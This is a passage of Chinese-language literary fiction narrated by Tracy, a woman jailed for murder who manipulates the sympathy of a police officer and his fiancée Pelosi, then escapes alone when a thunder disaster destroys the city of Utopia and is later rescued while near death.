“可以帮我从图书馆借几本书吗?” 两位警官明显都愣住了,露出难以置信的神色,仿佛我要求的是什么可怕的东西。 年轻的拜尔斯警官则完全僵住了,他张了张嘴,却没发出声音,眼神里的怜悯被巨大的困惑取代,还有一丝……嗯,惊艳? 呵呵。惊艳。 为一位刚刚冷静承认杀人,身上或许还残留着血迹的“拜金杀人女郎”此刻“求知”的姿态而惊艳吗?这念头让我几乎要笑出声,但嘴角的弧度只是更深了一些。 我移开目光,不再看他们茫然的脸,自顾自地报出书名,声音在寂静的问询室里显得格外清晰: “嗯,《社会思潮与教育现象》……” 书很快就送来了,是拜尔斯警官送来的。除了我点名的那几本,他还“顺便”多带了一本《论人类不平等的起源和基础》。 “我把你的事情跟我的未婚妻说了说……她对你在拘留所还愿意看书感到很高兴,说或许你也会对这个感兴趣。” 他把书递给我时,目光有些躲闪,耳根似乎有点不易察觉的红,但语气努力保持着自然。 他的眼神熟悉得令我懒得解读。 “谢谢您,警官先生。您费心了。” 我接过书,指尖拂过粗糙的封皮,低声道谢,扮演着一个在绝境中渴望精神慰藉的、有思想的可怜女人。 书很好看。作者用清晰的逻辑,冷峻的笔触,剖析着这个时代光鲜表皮下的脓疮。教育的不公,阶层的固化,思想的桎梏,女性在婚姻与市场中的双重物化……每一页都像一面冰冷的镜子,照出我所经历的一切的根源,那些我曾以为是个人不幸的东西,原来早已被更庞大、更无形的力量所书写。我想要说的,前人们都已经说过了。 可是,那又如何? 我知道了我是如何被塑造,被挤压,被抛到这个位置上的。我知道了那个被我杀死的人,也不过是这扭曲结构下一个可悲又可厌的产物。我知道了这一切的“为什么”。但这些精辟的分析,没有给出任何一个“怎么办”。它像一位高明的医生,准确地诊断出遍布全身的绝症,然后摊开手,告诉我:无药可医。 我越是沉浸其中,痛苦便越发清晰,尖锐地从那片平静的真空底下翻涌上来。 这痛苦不是源于对杀人行为的悔恨,也不是对即将到来的审判的恐惧。这痛苦源于一种更深层的、令人窒息的无力感。 也许,不止一个“翠西”,不止一个像我一样在泥泞中挣扎的人,曾在某个瞬间瞥见过这些文字,模糊地感知到这个光鲜社会表皮下的溃烂与不公。但然后呢?没有人,没有一本书,能给出那个完美的、可以立即执行的“解决方案”。理论照亮了深渊,却无法填平它,甚至无法递下一根可靠的绳索。看清了枷锁的形状与铸造过程,并不意味着枷锁就会消失,反而让脖颈被禁锢的感觉更加鲜明、更加绝望。 我开始后悔。看书并没有让我获得预想中的心灵平静,或者智慧的超越。相反,它像一把钝刀子,开始慢慢地、持续地切割我本就所剩无几的安宁。那些清晰的道理,变成了更清晰的痛苦。我看到了枷锁的纹路,感受到了它的重量,却比以往任何时候都更绝望地意识到,我可能永远也挣不脱它。这种清醒的、无处可逃的痛苦,比懵懂无知的麻木,要难受一千倍。 我利用这些书,原本只是想为自己涂抹一层可怜色彩,如今却仿佛玩火烧灼到了自身,被其内核的冰冷真实割伤了。 当然,也不是一点收获也没有。 比如现在。 “翠西小姐,你……一点也不担心三天后的开庭吗?” 拜尔斯警官的声音在铁栏外响起。他又来了。这几天,他总是不由自主地走到这间拘留室附近,有时是“例行检查”,有时是“询问细节”,目光总是不经意地落在我身上,落在我手边的书上,落在我平静(至少表面如此)的脸上。 我从书页上抬起眼。几天下来,我对他那种若有似无的关注早已心知肚明。一个年轻、正直、对世界还怀有浪漫想象的警官,面对一个身负命案却“热爱阅读”、“谈吐不俗”、“身世可怜”的女嫌疑人,会产生好奇,进而滋生一种混合着职业责任、男性保护欲以及某种被禁忌感微微撩拨的同情,简直再“正常”不过了。 我对他露出了一个笑容。这次的笑容,和我那天在问询室里的不一样。它更柔软,更脆弱,嘴角的弧度带着恰到好处的无力感,眼睫微微垂下,再抬起时,目光里盛着一点点强撑的镇定,和更多的、惹人怜惜的茫然。 “我当然担心,拜尔斯警官。” 我轻声说,声音里有一丝不易察觉的颤抖,像是秋风中即将飘落的叶子,“我怕得很。” 他脸上掠过一丝不忍。 这恐惧是真实的吗?或许有一点。但更多是表演。我是一个坏女人,这点我从不否认。但我不是一个蠢女人。 我知道一个年轻、正直,尚未被生活彻底磨去同情心的男人,面对一个身陷绝境却“与众不同”(会看书,会思考,显得“清醒”而“不幸”)的女犯人时,那目光里渐渐滋生的东西是什么。是好奇,是同情,是某种被危险和异常所吸引的悸动,是雄性本能里那点可笑的保护欲,或者……更复杂的东西。 我当然担心三天后的审判,但我更知道,在有限的最后的时间里,我能抓住什么。 拜尔斯,这个有着光明前途、一个可爱且正在攻读研究生的未婚妻的年轻警官,就是我现在唯一能接触到的,或许能施加影响的“变量”。 呵呵,多么有前景的、令人艳羡的年轻人。正直,努力,拥有着世俗意义上幸福的可能性。而我,翠西,双手沾血、声名狼藉,即使是社会最底层的流浪汉也可以指着我大骂“这个臭婊子!”。我现在能做的,只有利用我唯一熟悉的武器——这具皮囊,和里面那颗早已千疮百孔却依然懂得计算的心。去博取他那点廉价的同情,去撩拨他那可能自己都未曾察觉的危险的涟漪。 用我的手段,一直以来惯用的,所有人都唾弃的,女人的手段。 我看着他眼中因为我那句“我怕得很”而明显加深的动容,看着他微微握紧又松开的手,心中一片冰冷的讥诮。 对不起了,拜尔斯警官。 对不起了,那位可爱的未婚妻。 在这个注定沉没的漩涡里,我需要抓住任何一块可能让我浮起片刻的木板,哪怕这块木板本身,也即将被我拖入泥沼。 这很卑劣。我知道。 但这就是我,翠西。一个杀人犯,一个妓女,一个清醒地看着自己腐烂,却还想在彻底沉没前,挣扎着呼吸一口不那么污浊空气的、无可救药的女人。 …… 我还没等来开庭的日子,先等来了一个意想不到的访客。 拘留室外走廊的光线被一个身影遮挡了些许,接着,一颗脑袋从门框边小心翼翼探了进来。那是一张未经世事磋磨的鲜活脸庞,眼神清澈,甚至有些过于明亮了。 这个身影从门外的光晕里探进来半个身子,似乎先观察了一下,然后才小声地问:“请问……翠西小姐在吗?” 仿佛敲错了门的邻居。 我抬起头,目光从膝盖上摊开的《论人类不平等的起源和基础》上移开,落在你脸上。 真奇怪。我抬起头,看向门口。 我是一个被控谋杀的罪犯,关押在警署的临时拘留室里。我想,我并没有选择“允许”或“不允许”访客进入的权利,但看着你那副小心翼翼,甚至带着点冒昧打扰了般的歉意神情,我还是下意识地点了点头,喉咙里发出一声几不可闻的“嗯”。 你得到许可,轻手轻脚地走了进来,在我对面的小凳子上坐下,双手交叠放在膝上,姿态有些拘谨。你没有立刻说明来意,而是先看了一眼我手边的书,然后,目光才落在我的脸上,问出了一个让我完全措手不及的问题: “翠西小姐,你好,” 你开口,声音比刚才稳了一些,但依旧温和,“我是佩洛西……嗯,我听拜尔斯提起过你,他说你有在看书,所以我想来看看你。你在这里待得还好吗?有缺什么东西吗?” 我有点懵。这开场白完全出乎我的预料。我以为你是法院指派或慈善机构联系的的律师,或者某个好奇的记者。但你的问候与我的案子毫无关系。 “还好。” 我简短地回答,目光没有离开你的脸,试图从中找出更多信息。 “那就好。” 你似乎松了口气,脸上露出一个浅浅的的笑容,“那本《论人类不平等的起源和基础》……嗯,是我让拜尔斯顺便带给你的。希望没有打扰到你,只是想……或许能帮你打发一点时间。” 我知道你是谁了。 这句话像一把钥匙,瞬间打开了所有疑团。拜尔斯。能“让”拜尔斯做这种小事,关心一个女嫌疑人是否无聊,并且用这种纯然友善、不涉利害的态度出现在这里的年轻女人——你是拜尔斯的未婚妻。 我沉默了几秒,然后也微微扯动了一下嘴角,回敬了一个算不上笑容的表情:“谢谢。书很好。” “不客气。” 你似乎因为我的回应而更放松了些,身体不再那么紧绷,“叫我佩洛西就好。” 你自顾自地让我叫你的名字,然后似乎才突然想起来应该解释一下来意,语气变得认真起来,“我……我从拜尔斯那里听说了你的事情。我真的特别、特别生气。” 你说到这里,那双明亮的眼睛里确实燃起了真实的愤懑:“我觉得他们根本就不应该把你抓起来!太粗鲁了!这明明是正当防卫,对不对?是那个男人先动手殴打了你,你只是保护自己!拜尔斯也说了,现场有挣扎痕迹,你身上有伤……他们怎么能这样草率地定性?” 你的语气急切,仿佛我是你遭受不公的亲近的姐妹。你甚至说着说着就前倾身体又靠近了些,压低声音,像是和我分享秘密:“你不要怕,我已经让拜尔斯再去努力找那个目击证人了!他跟我保证会尽力的!你不要害怕,法律会还你清白的!” 我安静地坐着,脸上维持着那抹极其细微的弧度,安静地微笑着,看着你。 看着你因为愤怒而微微发红的脸颊,看着你眼中纯粹的信赖与热忱,看着你因为说了“鼓励”的话而显得更加明亮、几乎在昏暗拘留室里发光的脸庞。 ——你是一个幸福的傻女人。 仅仅是和你面对面这简短的几分钟,我就得出了这个确凿无疑的结论。 从你这里套话是很简单的。简单到几乎不需要我刻意引导,只是安静地听着,再适时地露出一点点感激或困惑的表情,你便像打开了话匣子。你那毫无防备的坦诚,对“不幸者”泛滥的同情,以及一种天然的、认为所有人都会和你一样诚实善良的信任,让你在我面前像一本摊开的、字迹清晰的日记。 我知道了你的名字,知道了你的父母很爱你,知道你还有一个弟弟,知道你工作前家里情况也不宽裕,但一直有一个属于自己的小房间。 而你,佩洛西,你只知道我叫翠西,是一个“可怜的被冤枉的女人”,一个“爱看书因此可能不那么坏的女人”,一个需要你伸出援手、给予鼓励的“受害者”。 你知道的“我的事”,大概全部来源于拜尔斯警官那带着怜悯滤镜的转述,以及你自己那颗善良心脏的补充想象。 你并不真的想和我谈论《社会思潮与教育现象》里关于阶级固化与教育特权的分析。你只是听说了这件事,觉得不忍,凭着你所谓的正义感,就跑来安慰一个同性别的“受害者”。你只是把所有人,都当成了你自己。 因为你幸福,所以无法忍受我的不幸福,并天真地认为这种不幸福可以通过找到证人、相信法律来抹平。因为你诚实,所以对我为了博取同情而编织的、半真半假的“受害者”的叙述深信不疑。因为你善良,所以你一厢情愿地认定,我也必然是善良的,至少是被迫向恶,本质上是值得拯救。 你不知道你面前坐着一个怎样的灵魂。一个刚刚冷静剖析过自己如何被社会欲望异化的人,一个手上沾着温热鲜血却感到解脱的人,一个正在利用包括你未婚夫在内所有人的同情的人,一个在心底讥诮着这光明世界的、被金钱浸透骨髓的鬼魂。 你走后,拘留室里重新被冰冷的寂静和消毒水气味填满。 你的来访,像一面过于光洁的镜子,猝不及防地竖在我面前,让我被迫看清自己满身的污秽与龟裂。 我不是没有思考过,正相反,这段时间,有了足够的、不受打扰的安宁(如果铁窗生涯可以称之为安宁的话),我也想清楚了很多事。我想清楚了,比过去好多好多年浮皮潦草的懊悔或怨恨,都要想得透彻许多。 我想清楚了,我年轻时为何会那样狂热地、近乎盲目地追逐金钱,为此可以一次次典当尊严,出卖身体,最终抵押了灵魂的全部自由。 意志不够坚定,心智不够成熟,是我一步步滑入深渊的重要根源。我无法将一切都推给外界。在无数个岔路口,在面对诱惑、捷径、以及看似轻松的活法时,我一次次选择了屈服。我的灵魂不够强壮,无法在贫瘠的土壤和污浊的空气里,独自长成一棵笔直的树。 但这不意味着,意志和心智是问题的根本原因。把一切归咎于个人软弱,是懒惰的,也是不公平的。就像只责备被压垮的骆驼,却不去看骆驼背上早已堆积如山的稻草。 从小到大,我受到的教育,无论是来自那所勉强让我认字的慈善学校,还是来自街头巷尾的流言、橱窗里的海报、廉价小说里的情节,都在一遍又一遍、不厌其烦地告诉我:努力,拼搏,忍耐,一切向上爬的行为,最终极的目标,就是为了这些。为了大的房屋、充足的采光、众多的仆役、私有的花园、银制或镶金的餐具、摆满美食的晚宴、回荡着音乐的舞会……体面,高雅,脱离庸俗,成为“人上人”。 我看过的报纸、杂志也在不断强化这个图景。它们告诉我,只有获得足够的“体面”,才能跻身“中产阶级”,那才是王国的支柱,是“高雅、优秀、不庸俗、有品格,同时兼具怜悯与知识”的代名词。同时,它们也事无巨细地描绘了什么是“体面”:是剪裁合体、质地优良、根据不同场合精心搭配的衣物;是昂贵护肤品保养出的光洁肌肤,是化妆品描绘出的精致容颜;是时尚杂志上拎着的、象征着身份与品味的手包;是偶尔聆听一场音乐会,享受一次悠闲的下午茶,参与一场充满格调的聚会…… 而这一切,换算过来,就是金镑,金镑,以及金镑。 必须承认,追求更好的生活是每个人的本能。但当一个小镇出来的、除了年轻和一副还算过得去的皮囊之外一无所有的女孩,所能接触到的所有信息、所有榜样、所有被公开赞美和暗中羡慕的生活方式,都在向她赞颂同一件事的时候;当整个社会的主流思潮、价值导向、成功模板,都在毫不掩饰地推崇这种“体面、精致和高雅”的时候,我的想法、我的欲望、我的选择,很难不被影响,不被塑造,不被扭曲。 我不清楚这样的现象在社会学的书籍里该被称作什么,“消费主义陷阱”?“阶级符号内化”?“结构□□望导向”?我只知道,如果这一切得不到改变,如果那些光鲜的橱窗、煽动的广告、塑造“成功”与“幸福”单一标准的洪流继续奔涌,那么,像我这样的悲剧,必然会继续出现,一个,两个,十个,百个……越来越多。而到了那个时候,那些住在明亮大房子里、享受着下午茶、翻看着时尚杂志的先生女士们,那些制定规则、描绘“体面”蓝图的人们,肯定又会站在高处,皱起眉头,带着混合了厌恶与优越感的语气怒骂: “看,这些虚荣的、拜金的女郎!她们自甘堕落,出卖了自己的□□和灵魂!真是社会的耻辱!” 他们不会去想,或许也根本不愿意去想,是谁,是什么,早早地将“灵魂”标好了价格,并把它和“体面”的生活捆绑销售,铺天盖地地展示给每一个仰望的、渴望的、像我一样的女孩看。 我想到了你,佩洛西。想到了你清澈的眼睛,你理所当然的幸福,你那个拥有两个盥洗室的家。 不是我想变成妓女的。 一个冰冷的声音,仿佛从我心底最坚硬、最黑暗的角落升起,带着铁锈般的血味和尘埃落定后的死寂,一字一句,清晰地叩击着我的颅骨: 是世界先变成了一个巨大的妓院,明码标价着一切,包括灵魂。我只是一个不够聪明、不够坚强、最终付不起其他代价,只能押上自己肉身的,拙劣的模仿者,一个破产的顾客。 这世上那么多人,包括看似善良的你,佩洛西,不都还在遵循着这个世界的法则,用各种方式换取着“体面”,安稳地、甚至幸福地活着吗? 所以,我用我能想到的、唯一触手可及的方式,去活。 是没有错的,对吧? …… 我没想到,你和拜尔斯,能为我——一个被控谋杀的拜金女郎,做到这种地步。 比如现在,你拎着一个素雅的纸袋,脸上带着让我几乎不敢直视的笑意,脚步轻快地走到我面前。纸袋里散发出柠檬的清新甜香和一丝冰凉的水汽。 “拜尔斯找到了!” 你几乎是雀跃地宣布,眼睛亮晶晶的,“他找到了事发当晚那个目击证人!现在他就在旅馆!而且,那位先生同意了,同意出庭作证,说出他看到的一切!” 我抬头,你的未婚夫站在你身后半步,穿着整齐的制服。他的眼神是松快的,甚至有一丝完成任务后,年轻人特有的、不太会掩饰的成就感。他看向你的目光,温柔而专注,仿佛你是他所有努力最终指向的奖赏。而“成功帮助了翠西小姐”这件事,则是这奖赏上额外增添的、令他满足的光彩。 我想,我应该感激你们。感激得热泪盈眶,感激得语无伦次,感激到愿意用任何方式报答。这或许是任何处于我这种绝境的人,最“正确”的反应。 可是,当看到你和拜尔斯并肩站在那里,共同构成一幅关于“正直”、“善良”、“有情人终成眷属”的完美画卷,而我,是这幅画卷边缘一团应该被擦除的、不和谐的污渍时,一种难以言喻的压抑感,还是悄然攥紧了我的心。我想我不是嫉妒你,至少不完全是。我只是为这美好感到担忧。 你可能并没有意识到。你只是单纯地为我“有望脱罪”而高兴,为你和他“做成了好事”而满足。 我想对你说:擦亮你的眼睛。看看这个世界并非只有非黑即白,看看人心的沟壑可以多么深邃晦暗,看看你这份毫无保留的善意,可能会将自己引向何处。 我想对你说:你应该远离所有危险的人或事。而我,无疑就是“危险”的集合体。我的过去,我的现在,甚至我那不确定的未来,都浸透着你不该沾染的泥泞。 我想对你喊:你不应该这么轻易相信任何人! 尤其是……一个像我这样,早已习惯了利用一切、包括他人善意来谋取生存缝隙的人。你的幸福是那么明亮,却又那么脆弱,不是吗?像水晶一样,美丽,却禁不起现实的轻轻一磕。 “亲爱的拜尔斯,” 你转过身,轻轻拉了拉他的袖子,带着点撒娇的意味,“我知道你这几天为了这个证人,四处奔波,已经很辛苦了。快去休息室坐一会儿,喝杯热茶。让我……让我跟翠西小姐单独说几句‘悄悄话’,好不好?” 你仰头看他,带着不容拒绝的亲昵。 他显然很吃这一套,脸上的线条柔和下来,点了点头,又看了我一眼,低声叮嘱你:“别聊太久,让翠西小姐也好好休息,准备明天的庭审。”然后才转身走向警署大厅另一侧的休息室。 你看着他离开,才转回身,从纸袋里拿出一个小纸盒,打开盛着颤巍巍、嫩黄色的柠檬布丁,接着又拿出还沁着水珠的甜冰茶。 “快尝尝,我特意从斯林太太的面包房买的,还有甜冰茶,我很喜欢,你也会喜欢的!” 你催促着,自己也拿出另一份,坐在我对面小口小口地用木勺舀着吃起来。吃到开心处,你的眼睛会微微眯起来,像只满足的猫,全然不顾这里是什么环境。 当你吃完最后一口,放下木勺,满足地叹了口气时,才又看向我,表情变得认真了些。 “翠西,” 你歪了歪头,仔细打量我的脸,“我怎么感觉……你表情还是不太好?是在担心明天吗?别怕,警署的日子是难熬,但都过去了。那个证人答应出庭,情况一定会好转的。你很快,很快就可以重获自由了。” 你语气充满了鼓励,仿佛自由是触手可及、理所当然的礼物。 然后,你忽然凑近了些,压低了声音:“拜尔斯他……没有欺负你吧?或者说了什么、做了什么让你不舒服的事?他现在被我支走了,你告诉我,没关系。如果他做了不对的事,” 你拍了拍胸口,语气斩钉截铁,“我站在你这边!” 不。不是这样的。 我不想再听你说话了。你的幸福,你和他之间那完美无缺的信任与爱恋,本来可以像最坚固的堡垒。是我,我这个突如其来的带着血污的闯入者,让它出现了第一道细微的,或许你们自己都未曾察觉的裂缝。他对我那复杂难言的关注,你此刻对我处境过于投入的关切与保护欲……这些本不该存在。是我污染了你们之间纯粹的空气。 我看着你,看着你眼中毫无保留的信任。我努力牵动嘴角,露出了一个我认为最应该在此刻出现的,混合着感激、脆弱的笑容。 “你和他,对我都很好。” 我轻声说,每个字都像是从喉咙里挤出来,带着真实的涩意,也带着决绝的意味。对不起了,佩洛西。对不起了,拜尔斯。对不起,我利用了你们的善良。对不起,我可能……终究不配拥有你们奋力为我争取的这份“自由”,或者,即使拥有,也不知该如何承载。 你似乎还想说什么,或许是想安慰我,或许是想分享你对未来的计划,或许只是想再聊聊那些我们都看过的书…… 然而,就在这时—— “轰隆隆——!!!” 一声沉闷到令人心脏骤停的巨响,毫无征兆地从极高的天穹深处滚过!那不是寻常的雷鸣,更像是什么庞然巨物在云层之上狠狠撞击、碎裂的声音!紧接着,刺目的、几乎将天地映成一片惨白的闪电,如同天神暴怒挥下的鞭子,猛地撕裂了乌托邦傍晚尚未完全暗透的天空! 你的笑容瞬间僵在脸上,血色以肉眼可见的速度从你脸颊褪去,变得一片煞白。你几乎是本能地仰起头,嘴唇微动,开始无声地、快速地数秒:“一、二、三……” 闪电的光芒尚未完全从视网膜上消退,第二声、第三声更加暴烈、更加接近的炸雷便接连劈落!间隔短得惊人! “不好!” 你失声惊呼,猛地转回头,脸上再也没有一丝一毫刚才的轻松与笑意,只剩下一种冰冷的、近乎可怕的清醒与决断。你一把抓住我还拿着布丁勺的手,力气大得惊人。 “走!我们必须立刻离开这里!快!” 你的声音因为急促而尖利,拖着我就往拘留室门口冲去! 我没有镣铐。没有人认为一个身体纤弱、手无缚鸡之力的拜金女郎,在有警察看守的情况下,需要额外的物理束缚。 这此刻成了你行动的最大便利。 我完全无法挣脱。你的手像铁钳一样扣着我的手腕,带着一种不容置疑的力量,将我踉踉跄跄地拖出了拘留室,冲进了警署灯光通明的大厅。 大厅里,拜尔斯和其他几名警察显然也被这突如其来的恐怖天象惊动,正惊疑不定地抬头看向窗外,或彼此询问。看到我们冲出来,所有人都是一愣,站了起来。 “拜尔斯!邓恩队长!还有其他所有人!” 你松开我的手,一步踏到大厅中央,声音前所未有的高亢,带着一种不容置疑的权威,瞬间压过了嘈杂的议论和窗外越来越密集的雷声,“立刻!马上!进入最高警戒状态!疏散!立刻疏散所有能通知到的居民!” 你语速快得像射击:“雷灾!是移动型高能雷暴云团!雷声和闪电的间隔已经缩短到三秒以内,云团主体离我们太近了!我们没时间了,必须立刻——” 你的话被一声震耳欲聋的、仿佛就在头顶炸开的巨雷打断!与此同时,一道水桶粗细的、亮得发紫的闪电,如同天罚之矛,“倏”地一声,精准地劈落在乌托邦另一端! 轰——!!! 巨大的爆炸声和冲天而起的橘红色火焰几乎同时发生!即使隔着这么远,我们也能感到脚下地面传来的轻微震动,以及随之而来的、夹杂着焦糊味的滚热气浪! “跑——!!!” 拜尔斯最先反应过来,发出一声怒吼。整个警署瞬间陷入了极致的混乱与恐慌! 而你,在爆炸火光映亮你苍白却无比坚毅的侧脸的刹那,再次抓住了我的手,用尽全身力气,拖着我冲向警署大门! “往外跑!别停!” 你朝吓呆了的其他警察和文员大喊,自己则拉着我,一头冲进了门外已然变得狂乱的世界! 暴雨如瀑布般倾泻而下,几乎瞬间将我们浇透。狂风呼啸,卷着雨水、落叶和不知名的碎片抽打在脸上,生疼。天空已被浓墨般的、急速翻滚涌动的乌云彻底覆盖,云层低得仿佛要压垮屋顶,其中不时窜出可怕的、枝杈状的闪电,将天地映照得忽明忽暗,如同可怖的地狱图景。雷声连绵不绝,一声紧似一声,仿佛巨神的战鼓在耳边擂响,震得人五脏六腑都在颤抖。 “去港口!翠西!往港口方向跑!” 你在震耳欲聋的雷雨声中对我声嘶力竭地大喊,同时飞快地从自己口袋里掏出什么东西,看也不看,一把塞进我湿透的外套口袋,然后,用尽全身力气,将我朝着街道另一侧、通往港口的主干道方向,狠狠推了一个踉跄! “跑!别回头!一直往港口跑!那里可能有还没离港的船,或者防波堤下的掩体!快啊!” 你站在原地,雨水冲刷着你的脸,你的头发紧贴在额前,对我嘶喊,挥手。 我被你推得差点摔倒,勉强站稳,回头看你。狂风暴雨中,你的身影显得那么单薄。 “那你呢?!” 我忍不住喊回去,声音淹没在雷雨里。 “别管我!快去!” 你只是更用力地挥手,脸上的表情在闪电的明灭中,清晰得刺痛我的眼睛。 可是为什么?为什么你不和我一起逃走?港口是生路,你看出来了,你也指给我了。是因为你的“正义感”吗?因为你身为居民的责任?因为你不能抛下可能还在混乱中的同事、市民,或者……因为拜尔斯还在警署里?因为你不屑于,或者无法接受,抛弃你所珍视的一切,独自苟活下去? 那……被你推开、推向生路的我,又算什么呢? 是你善良本能下又一个需要保护的“弱者”?是你和拜尔斯未能完成的“正义救助”的最后一环?还是说,在这天崩地裂的末日景象前,你我之间那点微不足道的、基于谎言与同情的短暂交集,终于剥离了一切世俗的衡量,只剩下最原始、最朴素的一条准则——让能跑的人,先跑? “对!翠西!跑!快跑——!!!” 你的喊声穿透雨幕,再次传来,比任何雷声都更尖锐地刺入我的耳膜。 我不再犹豫,或者说,求生的本能压过了一切混乱的思绪。我转过身,低下头,用尽全身的力气,朝着你指明的、那仿佛没有尽头的、被暴雨和雷电笼罩的港口方向,跌跌撞撞地、拼尽全力地—— 逃。 口袋里的东西随着奔跑硌着我的肋骨,冰冷的,坚硬的,不知是什么。 …… 我活下来了。 靠着一艘不知道被谁仓促解开缆绳、抛弃在码头最边缘的小舢板,靠着一点对船舵和风帆的模糊记忆,靠着舔舐帆布上积存的雨水,靠着捕捉偶然跳上船板的小鱼生吞下去……总之,我活下来了。 和我想象的一样,那天疯狂涌向港口,想要逃离那座正在被雷霆与火焰撕裂的人并不少。哭喊声,咒骂声,船只碰撞声,在最初的那一刻甚至压过了风暴的嘶吼。这是绝望催生疯狂的求生欲。也许,这其中有你的“功劳”——你不跟我一起离开,就是为了救这些庸碌的人吗?当然,你推开我的时候那么决绝,你连我也会救。 可他们中,没有你。 我也再没有见到他们中的任何一个。在无垠的、杀机暗藏的大洋上,饥饿、干渴、暴晒,以及一点点绝望,又或是单纯不走运的侧翻与迷失,都足以吞噬绝大多数出逃的灵魂。只有我,和这艘破船,真正成功逃离了那片被神祇诅咒的、沸腾的、墨黑色的海。 我不知道我为什么活了下来。当小舢板最终被一股洋流推向一片陌生、荒凉、只有嶙峋黑石的海岸时,我趴在冰冷的沙滩上,像一具被吐出来的残骸,连抬起一根手指的力气都没有。阳光刺眼,海鸥在头顶盘旋,发出单调的鸣叫。世界恢复了某种残酷的平静,仿佛昨夜那场吞噬一切的雷暴只是一场集体的癫狂噩梦。 但我身上褴褛的衣裙,口袋里那几枚被你塞进来的硬币和一条银饰,以及四肢弥漫开的虚无与钝痛,都在冰冷地告诉我:乌托邦,连同里面的大多数人,或许真的消失了。 我不知道我为什么活了下来。这不合逻辑,违背“常理”。在那样毁天灭地的、明显蕴含了超越自然伟力的“雷灾”面前,在整座城市仿佛被无形大手从地图上抹去的末日景象中,渺小如我,卑贱如我,罪恶如我,凭什么成为漏网之鱼? 我更不知道,继续这样活下去,意义是什么。为了咀嚼那份侥幸偷生带来的更深的虚无?为了反复印证“翠西”这个人生的荒诞与失败?还是为了证明,即使侥幸逃脱了人为的审判和天降的灾罚,我依然没有能力经营好任何一种“新的人生”? 我应该死的,我本该同样遵循“祂”的意志——我们,所有诞生于那片土地,承载着那段历史与谎言的存在,都应当在那场顺势而为的“雷灾”中,干净利落地消失,如同用橡皮擦去纸上一块错误的墨迹。 如果非要有一个人,违背这意志,从那片注定沉没的图景中挣脱出来,活下来…… 那个人,应当是你才对,佩洛西。 你有理由活下来。你有明亮的眼睛,有未完成的学业,有等着你的拜尔斯,有靠你工资住进大房子的家人,有你相信并愿意为之奋斗的、关于“正义”与“善良”的朴素信念。你才配拥有“未来”这个词。 所以,我相信你会再次出现。 这个念头,与其说是希望,不如说是一种支撑着我、不至于让我立刻走进海里的信念。你一定还活着,在某个地方。你或许以另一种方式逃脱了,或许“幸存”有着我所不能理解的形式,但你不该就那么消失。你一定还在某个地方,像曾经照耀过我一样,照耀着别的什么。 我多么艰难地活下来啊。 离开你之后,我遭遇的痛苦并没有变少。饥饿、寒冷、病痛、歧视……每一步都比在乌托邦的泥潭里更加具体而卑微。但我倒是从来不哭了。眼泪在那场暴雨里似乎已经流干,或者,是意识到哭泣在绝对的虚无与庞大的命运面前,毫无用处。 只是不能想起你。 一想起来,就会让我本就沉重的身体更加难以移动。而更可怕的是随之而来的幻想——幻想将来有一天,或许在某个阳光不错的午后,在某个干净明亮的房间里,我能再次见到你。我要把我离开你之后遭遇的一切,每一次饥饿,每一次危险,每一次对“活着”产生的怀疑,以及……我是如何靠着“你还会出现”这个念头熬过来的,都一一讲给你听。 告诉你我如何像野狗一样在废墟和陌生城镇间觅食,告诉你我如何躲避不怀好意的流浪汉和巡查的警察,告诉你夜晚蜷缩在桥洞下被冻醒时,看到老鼠豌豆似的眼睛就在咫尺。告诉你,没有你的世界,是多么荒凉又坚硬的一块磨刀石,日夜打磨着我所剩无几的、属于“人”的部分。 这样想着的时候,就好像已经面对面在那儿对你说着了。然后,那早已干涸的眼眶,就会莫名其妙地发热、发胀,滚烫的液体挣扎着要涌出来——我吓得赶紧眨眼,拼命把那些不合时宜的软弱压回去。 现在,我怏怏地躺在路边的角落,身下是粗粝的沙石和不知名的污渍。正午的阳光毒辣地曝晒着我,像要把我最后一点水分也榨取出来,献给这无情的老天。我是上天砧板上的鱼,被剥了鳞,开了膛,只剩下无用的鳃还在微弱地开合,等待着最后安静地腐朽,或者被路过的野狗叼走。 意识有些涣散。朦胧中,似乎看到熟悉的街景扭曲晃动。我记得,我和你曾路过这里。阳光也和现在一样烈,但因为有你在旁边叽叽喳喳地说着趣闻,便不觉难熬。那时候,路边有个枯瘦的女孩,蜷缩在阴影里,眼神空洞地看着我们,嘴里喃喃着:“我想活得像个人……” 你也是像我想象地那样,毫不犹豫地停下脚步,蹲下身,从随身的包里拿出了一管淡蓝色的药剂,小心地喂给她。你摸着她的头,声音温柔:“会好起来的,先吃点东西。”之后她跟着我们走了一段旅程,直到你把她真正地安置好。 那是你的善良,你的光芒。如今,这光芒熄灭了吗?还是照耀在别处? 我的头开始剧烈地晕眩,眼前阵阵发黑,耳中嗡鸣。喉咙像被火烧,又干又痛,身体却一阵阵发冷。这是中暑和严重脱水最后的警告。“翠西”这具躯体,或者说,“我”这缕扮演这个身份的意识,终于要到极限了。 “‘我’抛弃了我……” 一个荒诞的念头浮起,带着临终般的清晰,“因为我从来没有存在过……其实,你也是一样……” 我们都是舞台上被牵线的木偶,演着一出盛大而悲哀的戏。我所经历的爱恨、挣扎、痛苦、对“佩洛西”的思念与愧疚,乃至那场惊天动地的逃亡……或许都只是设定好的剧情,是“祂”指尖流淌的、微不足道的余韵。 佩洛西,你那么真实的美好,那么温暖的善良,那么决绝的背影……或许也只是“祂”记忆中某个无法磨灭的倒影,被精心复刻进这场宏大戏剧的木偶。 “咦?” 一个声音,带着清晰的疑惑,穿透了我意识边缘越来越浓厚的黑雾,响了起来。 我并不熟悉这个声音。 谁? 濒临昏迷的神经猛地绷紧了一瞬!是巡逻的?是路过的“好心人”?还是……别的什么? “克莱恩?” 我迅速睁开了眼,用尽最后一丝力气,想要撑起沉重如铁的身体,要看向声音传来的方向。 然而,我刚刚抬起脖子,视线尚且模糊摇晃,一道身影便已笼罩下来,挡住了毒辣的日光。 你先一步,弯下腰,手臂穿过我的膝弯和后背,毫不费力地,把我从肮脏滚烫的地面抱了起来。 动作平稳,与我此刻的狼狈污秽形成明显的对比。 失重感让我一阵眩晕,本能地想要挣扎,却连手指都动弹不得。我被迫靠在一个宽阔又异常稳实的胸膛上。 “你怎么让自己过得这么惨?” 那声音在头顶响起,近在咫尺。依旧是平淡的语调,听不出什么责备或同情,更像是在陈述一个客观事实。 我还来不及思考,甚至来不及看清对方的脸,下巴便被几根微凉的手指轻轻捏住,迫使我张开了嘴。 下一瞬,一管冰凉又略带粘稠的液体,抵住了我的齿关,然后不由分说地灌了进来。 是药剂!味道古怪,带着强烈的草木腥气,却奇异地有一丝回甘。 “咕噜……咕噜……” 